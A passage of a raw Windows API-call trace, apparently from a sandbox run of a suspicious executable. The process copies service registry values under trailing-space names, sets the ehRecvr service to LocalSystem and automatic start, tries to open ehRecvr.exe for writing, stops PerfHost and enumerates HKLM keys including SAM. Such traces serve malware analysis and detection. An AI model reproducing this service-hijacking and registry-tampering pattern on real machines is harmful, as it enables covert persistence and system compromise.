dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0251.144] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0251.145] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0251.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0251.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0251.145] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0251.145] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.145] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.145] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0251.145] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0251.145] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0251.145] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0251.146] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0251.147] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.147] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0251.147] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.147] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0251.148] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.148] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0251.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0251.149] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0251.149] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0251.149] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0251.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0251.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0251.149] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0251.149] LocalFree (hMem=0x7e4b18) returned 0x0 [0251.149] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0251.149] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0251.149] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.150] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.151] RegCloseKey (hKey=0xc4) returned 0x0 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.151] RegCloseKey (hKey=0x14c) returned 0x0 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0251.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0251.151] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.151] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.151] GetLastError () returned 0x20 [0251.151] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0251.152] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0251.152] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0251.152] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x20) returned 0x803990 [0251.153] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0251.153] GetLastError () returned 0x425 [0251.153] CloseServiceHandle (hSCObject=0x803990) returned 1 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0251.153] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.153] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.154] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.154] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, 